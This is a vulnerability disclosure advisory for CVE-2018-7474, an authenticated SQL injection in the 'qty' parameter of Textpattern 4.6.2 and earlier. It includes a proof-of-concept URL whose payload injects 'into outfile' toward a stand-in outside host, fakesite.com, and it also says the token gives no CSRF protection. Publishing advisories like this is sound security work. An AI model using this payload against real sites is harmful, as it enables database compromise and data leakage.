87 lines
No EOL
2.6 KiB
Text
87 lines
No EOL
2.6 KiB
Text
=============================================
|
|
MGC ALERT 2018-002
|
|
- Original release date: February 12, 2018
|
|
- Last revised: March 12, 2018
|
|
- Discovered by: Manuel García Cárdenas
|
|
- Severity: 7,1/10 (CVSS Base Score)
|
|
- CVE-ID: CVE-2018-7474
|
|
=============================================
|
|
|
|
I. VULNERABILITY
|
|
-------------------------
|
|
SQL Injection in Textpattern <= 4.6.2
|
|
|
|
II. BACKGROUND
|
|
-------------------------
|
|
Textpattern is a free and open-source content management system (CMS) based
|
|
on PHP and MySQL, originally developed by Dean Allen and now developed by
|
|
Team Textpattern.
|
|
|
|
III. DESCRIPTION
|
|
-------------------------
|
|
This bug was found using the portal with authentication as administrator.
|
|
|
|
To exploit the vulnerability only is needed use the version 1.0 of the HTTP
|
|
protocol to interact with the application.
|
|
|
|
It is possible to inject SQL code in the variable "qty" on the page
|
|
"index.php".
|
|
|
|
IV. PROOF OF CONCEPT
|
|
-------------------------
|
|
The following URL's and parameters have been confirmed to all suffer from
|
|
SQL injection.
|
|
|
|
/textpattern/textpattern/index.php?event=link&step=link_change_pageby&qty=50&_txp_token=baa07ba857d3618ef810b725b9d4d9d8
|
|
|
|
Note: the variable "_txp_token" doest not work as a anti-csrf.
|
|
|
|
POC:
|
|
|
|
/textpattern/textpattern/index.php?event=link&step=link_change_pageby&qty=50%20into%20outfile%20'%
|
|
5cfakesite.com%5c'%3b%20--%20&_txp_token=baa07ba857d3618ef810b725b9d4d9d8
|
|
|
|
V. BUSINESS IMPACT
|
|
-------------------------
|
|
Public defacement, confidential data leakage, and database server
|
|
compromise can result from these attacks. Client systems can also be
|
|
targeted, and complete compromise of these client systems is also possible.
|
|
|
|
VI. SYSTEMS AFFECTED
|
|
-------------------------
|
|
Textpattern <= 4.6.2
|
|
|
|
VII. SOLUTION
|
|
-------------------------
|
|
Disable website until a fix is available.
|
|
|
|
VIII. REFERENCES
|
|
-------------------------
|
|
https://textpattern.com/
|
|
|
|
IX. CREDITS
|
|
-------------------------
|
|
This vulnerability has been discovered and reported
|
|
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).
|
|
|
|
X. REVISION HISTORY
|
|
-------------------------
|
|
February 12, 2018 1: Initial release
|
|
March 12, 2018 2: Revision to send to lists
|
|
|
|
XI. DISCLOSURE TIMELINE
|
|
-------------------------
|
|
February 12, 2018 1: Vulnerability acquired by Manuel Garcia Cardenas
|
|
February 12, 2018 2: Send to vendor without response
|
|
February 26, 2018 3: Second email to vendor without response
|
|
March 12, 2018 4: Send to the Full-Disclosure lists
|
|
|
|
XII. LEGAL NOTICES
|
|
-------------------------
|
|
The information contained within this advisory is supplied "as-is" with no
|
|
warranties or guarantees of fitness of use or otherwise.
|
|
|
|
XIII. ABOUT
|
|
-------------------------
|
|
Manuel Garcia Cardenas
|
|
Pentester |